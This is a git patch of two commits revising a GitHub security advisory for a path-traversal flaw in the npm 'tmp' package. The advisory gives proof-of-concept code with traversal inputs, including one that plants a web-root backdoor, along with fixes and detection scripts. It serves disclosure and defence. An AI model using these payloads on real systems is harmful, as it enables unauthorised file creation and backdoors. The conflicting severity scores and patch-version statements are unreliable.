From 3ae6b34522b8cc0fe700bac5bb30e15c587ec8db Mon Sep 17 00:00:00 2001 From: Thiago Pereira Alves <74566269+TPAlves@users.noreply.github.com> Date: Mon, 3 Aug 2026 17:15:31 -0300 Subject: [PATCH 1/2] Improve GHSA-ph9p-34f9-6g65 --- .../05/GHSA-ph9p-34f9-6g65/GHSA-ph9p-34f9-6g65.json | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/advisories/github-reviewed/2026/05/GHSA-ph9p-34f9-6g65/GHSA-ph9p-34f9-6g65.json b/advisories/github-reviewed/2026/05/GHSA-ph9p-34f9-6g65/GHSA-ph9p-34f9-6g65.json index 730b74af4199..47ab2792c1d0 100644 --- a/advisories/github-reviewed/2026/05/GHSA-ph9p-34f9-6g65/GHSA-ph9p-34f9-6g65.json +++ b/advisories/github-reviewed/2026/05/GHSA-ph9p-34f9-6g65/GHSA-ph9p-34f9-6g65.json @@ -10,8 +10,8 @@ "details": "### Summary\n\nThe tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.\n\n### Details\n\n**Root Cause:**\nThe vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.\n\n**Technical Flow:**\n1. **Filename Construction:** tmp builds filenames as `---`\n2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)`\n3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape\n4. **File Creation:** File created at the resulting (potentially escaped) path\n\n**Vulnerable Pattern:**\n```javascript\n// In tmp package internals\nconst name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;\nconst finalPath = path.join(tmpDir, opts.dir || '', name);\n// No validation that finalPath remains within tmpDir\n```\n\n**Path Traversal Mechanics:**\n- **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure\n- **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely\n- **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text\n- **Cross-platform impact:** Works on Windows (`..\\\\`), Unix (`../`), and mixed path systems\n\n**Key Vulnerability Points:**\n- No input validation on `prefix`, `postfix`, or `dir` parameters\n- Direct use of user input in path construction\n- Reliance on `path.join()` normalization without containment checks\n- Missing post-construction validation that final path remains within intended directory\n\n### PoC\n\n**Basic Path Traversal via prefix:**\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\n// Create a controlled base directory\nconst baseDir = fs.mkdtempSync('/tmp/safe-base-');\nconsole.log('Base directory:', baseDir);\n\n// Escape via prefix\ntmp.file({ \n tmpdir: baseDir, \n prefix: '../escaped' \n}, (err, filepath, fd, cleanup) => {\n if (err) throw err;\n \n console.log('Created file:', filepath);\n console.log('Relative to base:', path.relative(baseDir, filepath));\n // Output shows: ../escaped--\n \n cleanup();\n});\n```\n\n**Directory Escape via postfix:**\n```javascript\ntmp.file({ \n tmpdir: baseDir, \n postfix: '/../../pwned.txt' \n}, (err, filepath, fd, cleanup) => {\n if (err) throw err;\n \n console.log('Escaped file:', filepath);\n console.log('Escaped outside base:', !filepath.startsWith(baseDir));\n \n cleanup();\n});\n```\n\n**Absolute Path Bypass via dir:**\n```javascript\ntmp.file({ \n tmpdir: '/safe/tmp/dir', \n dir: '/tmp/evil-location',\n prefix: 'bypassed'\n}, (err, filepath, fd, cleanup) => {\n if (err) throw err;\n \n console.log('Bypassed to:', filepath);\n // File created in /tmp/evil-location instead of /safe/tmp/dir\n \n cleanup();\n});\n```\n\n**Advanced Multi-Vector Attack:**\n```javascript\nconst maliciousOpts = {\n tmpdir: '/app/safe-tmp',\n dir: '../../../tmp', // Escape base\n prefix: '../sensitive-area/', // Further traversal\n postfix: 'malicious.config' // Controlled filename\n};\n\ntmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {\n // Results in file creation at: /tmp/sensitive-area/malicious.config\n console.log('Final malicious path:', filepath);\n cleanup();\n});\n```\n\n**Real-World Attack Simulation:**\n```javascript\n// Simulate web API that accepts user file prefix\nfunction createUserTempFile(userPrefix, content) {\n return new Promise((resolve, reject) => {\n tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {\n if (err) return reject(err);\n \n fs.writeSync(fd, content);\n console.log('User file created at:', path);\n resolve({ path, cleanup });\n });\n });\n}\n\n// Attacker input\nconst attackerPrefix = '../../../var/www/html/backdoor';\ncreateUserTempFile(attackerPrefix, '');\n// Creates PHP backdoor in web root instead of temp directory\n```\n\n### Impact\n\n**Arbitrary File Creation:**\n- Files created outside intended temporary directories\n- Attacker control over file placement location\n- Potential to overwrite existing files (depending on creation flags)\n- Cross-platform exploitation capability\n\n**Attack Scenarios:**\n\n**1. Web Application Configuration Poisoning:**\n- User uploads file with malicious prefix/postfix\n- tmp creates \"temporary\" file in application configuration directory\n- Malicious configuration loaded on next application restart\n\n**2. Cache Poisoning:**\n- Application caches user content using tmp\n- Attacker escapes to cache directory of different user/tenant\n- Poisoned cache serves malicious content to other users\n\n**3. Build Pipeline Compromise:**\n- CI/CD system processes user PRs with tmp usage\n- Malicious prefix escapes to build output directories\n- Compromised build artifacts deployed to production\n\n**4. Container Escape Attempt:**\n- Containerized application uses tmp with user input\n- Attacker attempts to escape container temp restrictions\n- Files created in host-mapped volumes or sensitive container areas\n\n**5. Multi-Tenant Service Bypass:**\n- SaaS platform isolates tenants using separate tmp directories\n- Tenant A escapes their tmp space to tenant B's area\n- Cross-tenant data access and potential privilege escalation\n\n**Business Impact:**\n- **Data Integrity:** Unauthorized file placement can corrupt application state\n- **Service Disruption:** Files in wrong locations may break application functionality \n- **Security Bypass:** Escape temporary isolation boundaries\n- **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** tmp\n- **Repository:** github.com/raszi/node-tmp\n- **Affected versions:** All versions with vulnerable path construction logic\n- **Patched versions:** None currently available\n\n**Component Impact:**\n- `tmp.file()` function - vulnerable to prefix/postfix/dir traversal\n- `tmp.dir()` function - vulnerable to same parameter manipulation \n- `tmp.tmpName()` function - if using affected path construction\n\n**Severity:** High \n**CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)\n\n**CWE Classification:**\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n### Remediation\n\n**Input Validation and Sanitization:**\n\n1. **Sanitize prefix/postfix:**\n```javascript\nfunction sanitizePrefix(prefix) {\n if (!prefix) return '';\n // Remove path separators and traversal sequences\n return path.basename(String(prefix)).replace(/[\\.\\/\\\\]/g, '-');\n}\n\nfunction sanitizePostfix(postfix) {\n if (!postfix) return '';\n // Allow only safe characters\n return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');\n}\n```\n\n2. **Validate dir parameter:**\n```javascript\nfunction validateDir(dir, baseDir) {\n if (!dir) return '';\n \n // Reject absolute paths\n if (path.isAbsolute(dir)) {\n throw new Error('Absolute paths not allowed for dir option');\n }\n \n // Resolve and check containment\n const resolved = path.resolve(baseDir, dir);\n const relative = path.relative(baseDir, resolved);\n \n if (relative.startsWith('..') || path.isAbsolute(relative)) {\n throw new Error('Dir option escapes base directory');\n }\n \n return dir;\n}\n```\n\n3. **Post-construction path validation:**\n```javascript\nfunction validateFinalPath(finalPath, baseDir) {\n const resolved = path.resolve(finalPath);\n const relative = path.relative(path.resolve(baseDir), resolved);\n \n if (relative.startsWith('..') || path.isAbsolute(relative)) {\n throw new Error('Generated path escapes temporary directory');\n }\n \n return resolved;\n}\n```\n\n**Secure Implementation Pattern:**\n```javascript\nfunction createTempFile(options) {\n const opts = { ...options };\n \n // Sanitize inputs\n opts.prefix = sanitizePrefix(opts.prefix);\n opts.postfix = sanitizePostfix(opts.postfix);\n opts.dir = validateDir(opts.dir, opts.tmpdir);\n \n // Create with sanitized options\n return tmp.file(opts, (err, path, fd, cleanup) => {\n if (err) return callback(err);\n \n // Validate final path\n try {\n validateFinalPath(path, opts.tmpdir);\n } catch (validationErr) {\n cleanup();\n return callback(validationErr);\n }\n \n callback(null, path, fd, cleanup);\n });\n}\n```\n\n### Workarounds\n\n**For Application Developers:**\n\n1. **Input Sanitization:**\n```javascript\n// Sanitize before passing to tmp\nfunction safeTmpFile(userOptions) {\n const safeOpts = {\n ...userOptions,\n prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,\n postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,\n dir: undefined // Don't allow user-controlled dir\n };\n \n return tmp.file(safeOpts);\n}\n```\n\n2. **Path Validation:**\n```javascript\nfunction validateTmpPath(tmpPath, expectedBase) {\n const relativePath = path.relative(expectedBase, tmpPath);\n if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {\n throw new Error('Temporary file path escaped base directory');\n }\n return tmpPath;\n}\n```\n\n3. **Restricted Usage:**\n```javascript\n// Only use tmp with known-safe, literal values\ntmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);\n// Never: tmp.file({ prefix: userInput }, callback);\n```\n\n**For Security Teams:**\n\n1. **Code Review Patterns:**\n```bash\n# Search for dangerous tmp usage\ngrep -r \"tmp\\.file.*prefix.*req\\|tmp\\.file.*postfix.*req\" .\ngrep -r \"tmp\\.dir.*opts\\|tmp\\.file.*opts\" .\n```\n\n2. **Runtime Monitoring:**\n```javascript\n// Monitor for files created outside expected temp areas\nconst originalFile = tmp.file;\ntmp.file = function(options, callback) {\n return originalFile(options, (err, path, fd, cleanup) => {\n if (!err && options.tmpdir) {\n const relative = require('path').relative(options.tmpdir, path);\n if (relative.startsWith('..')) {\n console.warn('Path traversal detected:', path);\n }\n }\n return callback(err, path, fd, cleanup);\n });\n};\n```\n\n### Detection and Monitoring\n\n**Static Analysis:**\n- Scan for tmp usage with user-controlled input\n- Identify unsanitized parameter passing to tmp functions\n- Review file creation patterns in temporary directories\n\n**Runtime Detection:**\n```javascript\n// Log suspicious tmp operations\nfunction monitorTmpUsage() {\n const originalTmpFile = require('tmp').file;\n \n require('tmp').file = function(options = {}, callback) {\n // Check for suspicious patterns\n const suspicious = [\n options.prefix && options.prefix.includes('..'),\n options.postfix && options.postfix.includes('..'), \n options.dir && path.isAbsolute(options.dir)\n ].some(Boolean);\n \n if (suspicious) {\n console.warn('Suspicious tmp usage detected:', options);\n }\n \n return originalTmpFile.call(this, options, callback);\n };\n}\n```\n\n**File System Monitoring:**\n```bash\n# Monitor file creation outside expected temp directories\ninotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do\n if [[ \"$event\" == *\"CREATE\"* && \"$file\" != /tmp/tmp-* ]]; then\n echo \"Unexpected file creation: $file\"\n fi\ndone\n```\n### Acknowledgements\n\n**Reported by**: Mapta / BugBunny_ai", "severity": [ { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P" + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N" } ], "affected": [ @@ -28,11 +28,14 @@ "introduced": "0" }, { - "fixed": "0.2.6" + "fixed": "0.2.7" } ] } - ] + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.2.6" + } } ], "references": [ @@ -57,7 +60,7 @@ "cwe_ids": [ "CWE-22" ], - "severity": "HIGH", + "severity": "LOW", "github_reviewed": true, "github_reviewed_at": "2026-05-27T00:34:06Z", "nvd_published_at": "2026-06-11T17:16:33Z" From 990efa5e1be1102b3913430639b0ff99dc4667bd Mon Sep 17 00:00:00 2001 From: Thiago Pereira Alves <74566269+TPAlves@users.noreply.github.com> Date: Mon, 3 Aug 2026 17:17:55 -0300 Subject: [PATCH 2/2] Improve GHSA-ph9p-34f9-6g65 --- .../2026/05/GHSA-ph9p-34f9-6g65/GHSA-ph9p-34f9-6g65.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/advisories/github-reviewed/2026/05/GHSA-ph9p-34f9-6g65/GHSA-ph9p-34f9-6g65.json b/advisories/github-reviewed/2026/05/GHSA-ph9p-34f9-6g65/GHSA-ph9p-34f9-6g65.json index 47ab2792c1d0..f20bb36d8dcc 100644 --- a/advisories/github-reviewed/2026/05/GHSA-ph9p-34f9-6g65/GHSA-ph9p-34f9-6g65.json +++ b/advisories/github-reviewed/2026/05/GHSA-ph9p-34f9-6g65/GHSA-ph9p-34f9-6g65.json @@ -10,8 +10,8 @@ "details": "### Summary\n\nThe tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization.\n\n### Details\n\n**Root Cause:**\nThe vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation.\n\n**Technical Flow:**\n1. **Filename Construction:** tmp builds filenames as `---`\n2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)`\n3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape\n4. **File Creation:** File created at the resulting (potentially escaped) path\n\n**Vulnerable Pattern:**\n```javascript\n// In tmp package internals\nconst name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`;\nconst finalPath = path.join(tmpDir, opts.dir || '', name);\n// No validation that finalPath remains within tmpDir\n```\n\n**Path Traversal Mechanics:**\n- **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure\n- **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely\n- **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text\n- **Cross-platform impact:** Works on Windows (`..\\\\`), Unix (`../`), and mixed path systems\n\n**Key Vulnerability Points:**\n- No input validation on `prefix`, `postfix`, or `dir` parameters\n- Direct use of user input in path construction\n- Reliance on `path.join()` normalization without containment checks\n- Missing post-construction validation that final path remains within intended directory\n\n### PoC\n\n**Basic Path Traversal via prefix:**\n```javascript\nconst tmp = require('tmp');\nconst path = require('path');\nconst fs = require('fs');\n\n// Create a controlled base directory\nconst baseDir = fs.mkdtempSync('/tmp/safe-base-');\nconsole.log('Base directory:', baseDir);\n\n// Escape via prefix\ntmp.file({ \n tmpdir: baseDir, \n prefix: '../escaped' \n}, (err, filepath, fd, cleanup) => {\n if (err) throw err;\n \n console.log('Created file:', filepath);\n console.log('Relative to base:', path.relative(baseDir, filepath));\n // Output shows: ../escaped--\n \n cleanup();\n});\n```\n\n**Directory Escape via postfix:**\n```javascript\ntmp.file({ \n tmpdir: baseDir, \n postfix: '/../../pwned.txt' \n}, (err, filepath, fd, cleanup) => {\n if (err) throw err;\n \n console.log('Escaped file:', filepath);\n console.log('Escaped outside base:', !filepath.startsWith(baseDir));\n \n cleanup();\n});\n```\n\n**Absolute Path Bypass via dir:**\n```javascript\ntmp.file({ \n tmpdir: '/safe/tmp/dir', \n dir: '/tmp/evil-location',\n prefix: 'bypassed'\n}, (err, filepath, fd, cleanup) => {\n if (err) throw err;\n \n console.log('Bypassed to:', filepath);\n // File created in /tmp/evil-location instead of /safe/tmp/dir\n \n cleanup();\n});\n```\n\n**Advanced Multi-Vector Attack:**\n```javascript\nconst maliciousOpts = {\n tmpdir: '/app/safe-tmp',\n dir: '../../../tmp', // Escape base\n prefix: '../sensitive-area/', // Further traversal\n postfix: 'malicious.config' // Controlled filename\n};\n\ntmp.file(maliciousOpts, (err, filepath, fd, cleanup) => {\n // Results in file creation at: /tmp/sensitive-area/malicious.config\n console.log('Final malicious path:', filepath);\n cleanup();\n});\n```\n\n**Real-World Attack Simulation:**\n```javascript\n// Simulate web API that accepts user file prefix\nfunction createUserTempFile(userPrefix, content) {\n return new Promise((resolve, reject) => {\n tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => {\n if (err) return reject(err);\n \n fs.writeSync(fd, content);\n console.log('User file created at:', path);\n resolve({ path, cleanup });\n });\n });\n}\n\n// Attacker input\nconst attackerPrefix = '../../../var/www/html/backdoor';\ncreateUserTempFile(attackerPrefix, '');\n// Creates PHP backdoor in web root instead of temp directory\n```\n\n### Impact\n\n**Arbitrary File Creation:**\n- Files created outside intended temporary directories\n- Attacker control over file placement location\n- Potential to overwrite existing files (depending on creation flags)\n- Cross-platform exploitation capability\n\n**Attack Scenarios:**\n\n**1. Web Application Configuration Poisoning:**\n- User uploads file with malicious prefix/postfix\n- tmp creates \"temporary\" file in application configuration directory\n- Malicious configuration loaded on next application restart\n\n**2. Cache Poisoning:**\n- Application caches user content using tmp\n- Attacker escapes to cache directory of different user/tenant\n- Poisoned cache serves malicious content to other users\n\n**3. Build Pipeline Compromise:**\n- CI/CD system processes user PRs with tmp usage\n- Malicious prefix escapes to build output directories\n- Compromised build artifacts deployed to production\n\n**4. Container Escape Attempt:**\n- Containerized application uses tmp with user input\n- Attacker attempts to escape container temp restrictions\n- Files created in host-mapped volumes or sensitive container areas\n\n**5. Multi-Tenant Service Bypass:**\n- SaaS platform isolates tenants using separate tmp directories\n- Tenant A escapes their tmp space to tenant B's area\n- Cross-tenant data access and potential privilege escalation\n\n**Business Impact:**\n- **Data Integrity:** Unauthorized file placement can corrupt application state\n- **Service Disruption:** Files in wrong locations may break application functionality \n- **Security Bypass:** Escape temporary isolation boundaries\n- **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** tmp\n- **Repository:** github.com/raszi/node-tmp\n- **Affected versions:** All versions with vulnerable path construction logic\n- **Patched versions:** None currently available\n\n**Component Impact:**\n- `tmp.file()` function - vulnerable to prefix/postfix/dir traversal\n- `tmp.dir()` function - vulnerable to same parameter manipulation \n- `tmp.tmpName()` function - if using affected path construction\n\n**Severity:** High \n**CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L)\n\n**CWE Classification:**\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n### Remediation\n\n**Input Validation and Sanitization:**\n\n1. **Sanitize prefix/postfix:**\n```javascript\nfunction sanitizePrefix(prefix) {\n if (!prefix) return '';\n // Remove path separators and traversal sequences\n return path.basename(String(prefix)).replace(/[\\.\\/\\\\]/g, '-');\n}\n\nfunction sanitizePostfix(postfix) {\n if (!postfix) return '';\n // Allow only safe characters\n return String(postfix).replace(/[^A-Za-z0-9._-]/g, '');\n}\n```\n\n2. **Validate dir parameter:**\n```javascript\nfunction validateDir(dir, baseDir) {\n if (!dir) return '';\n \n // Reject absolute paths\n if (path.isAbsolute(dir)) {\n throw new Error('Absolute paths not allowed for dir option');\n }\n \n // Resolve and check containment\n const resolved = path.resolve(baseDir, dir);\n const relative = path.relative(baseDir, resolved);\n \n if (relative.startsWith('..') || path.isAbsolute(relative)) {\n throw new Error('Dir option escapes base directory');\n }\n \n return dir;\n}\n```\n\n3. **Post-construction path validation:**\n```javascript\nfunction validateFinalPath(finalPath, baseDir) {\n const resolved = path.resolve(finalPath);\n const relative = path.relative(path.resolve(baseDir), resolved);\n \n if (relative.startsWith('..') || path.isAbsolute(relative)) {\n throw new Error('Generated path escapes temporary directory');\n }\n \n return resolved;\n}\n```\n\n**Secure Implementation Pattern:**\n```javascript\nfunction createTempFile(options) {\n const opts = { ...options };\n \n // Sanitize inputs\n opts.prefix = sanitizePrefix(opts.prefix);\n opts.postfix = sanitizePostfix(opts.postfix);\n opts.dir = validateDir(opts.dir, opts.tmpdir);\n \n // Create with sanitized options\n return tmp.file(opts, (err, path, fd, cleanup) => {\n if (err) return callback(err);\n \n // Validate final path\n try {\n validateFinalPath(path, opts.tmpdir);\n } catch (validationErr) {\n cleanup();\n return callback(validationErr);\n }\n \n callback(null, path, fd, cleanup);\n });\n}\n```\n\n### Workarounds\n\n**For Application Developers:**\n\n1. **Input Sanitization:**\n```javascript\n// Sanitize before passing to tmp\nfunction safeTmpFile(userOptions) {\n const safeOpts = {\n ...userOptions,\n prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined,\n postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined,\n dir: undefined // Don't allow user-controlled dir\n };\n \n return tmp.file(safeOpts);\n}\n```\n\n2. **Path Validation:**\n```javascript\nfunction validateTmpPath(tmpPath, expectedBase) {\n const relativePath = path.relative(expectedBase, tmpPath);\n if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) {\n throw new Error('Temporary file path escaped base directory');\n }\n return tmpPath;\n}\n```\n\n3. **Restricted Usage:**\n```javascript\n// Only use tmp with known-safe, literal values\ntmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback);\n// Never: tmp.file({ prefix: userInput }, callback);\n```\n\n**For Security Teams:**\n\n1. **Code Review Patterns:**\n```bash\n# Search for dangerous tmp usage\ngrep -r \"tmp\\.file.*prefix.*req\\|tmp\\.file.*postfix.*req\" .\ngrep -r \"tmp\\.dir.*opts\\|tmp\\.file.*opts\" .\n```\n\n2. **Runtime Monitoring:**\n```javascript\n// Monitor for files created outside expected temp areas\nconst originalFile = tmp.file;\ntmp.file = function(options, callback) {\n return originalFile(options, (err, path, fd, cleanup) => {\n if (!err && options.tmpdir) {\n const relative = require('path').relative(options.tmpdir, path);\n if (relative.startsWith('..')) {\n console.warn('Path traversal detected:', path);\n }\n }\n return callback(err, path, fd, cleanup);\n });\n};\n```\n\n### Detection and Monitoring\n\n**Static Analysis:**\n- Scan for tmp usage with user-controlled input\n- Identify unsanitized parameter passing to tmp functions\n- Review file creation patterns in temporary directories\n\n**Runtime Detection:**\n```javascript\n// Log suspicious tmp operations\nfunction monitorTmpUsage() {\n const originalTmpFile = require('tmp').file;\n \n require('tmp').file = function(options = {}, callback) {\n // Check for suspicious patterns\n const suspicious = [\n options.prefix && options.prefix.includes('..'),\n options.postfix && options.postfix.includes('..'), \n options.dir && path.isAbsolute(options.dir)\n ].some(Boolean);\n \n if (suspicious) {\n console.warn('Suspicious tmp usage detected:', options);\n }\n \n return originalTmpFile.call(this, options, callback);\n };\n}\n```\n\n**File System Monitoring:**\n```bash\n# Monitor file creation outside expected temp directories\ninotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do\n if [[ \"$event\" == *\"CREATE\"* && \"$file\" != /tmp/tmp-* ]]; then\n echo \"Unexpected file creation: $file\"\n fi\ndone\n```\n### Acknowledgements\n\n**Reported by**: Mapta / BugBunny_ai", "severity": [ { - "type": "CVSS_V3", - "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N" + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" } ], "affected": [ @@ -60,7 +60,7 @@ "cwe_ids": [ "CWE-22" ], - "severity": "LOW", + "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2026-05-27T00:34:06Z", "nvd_published_at": "2026-06-11T17:16:33Z"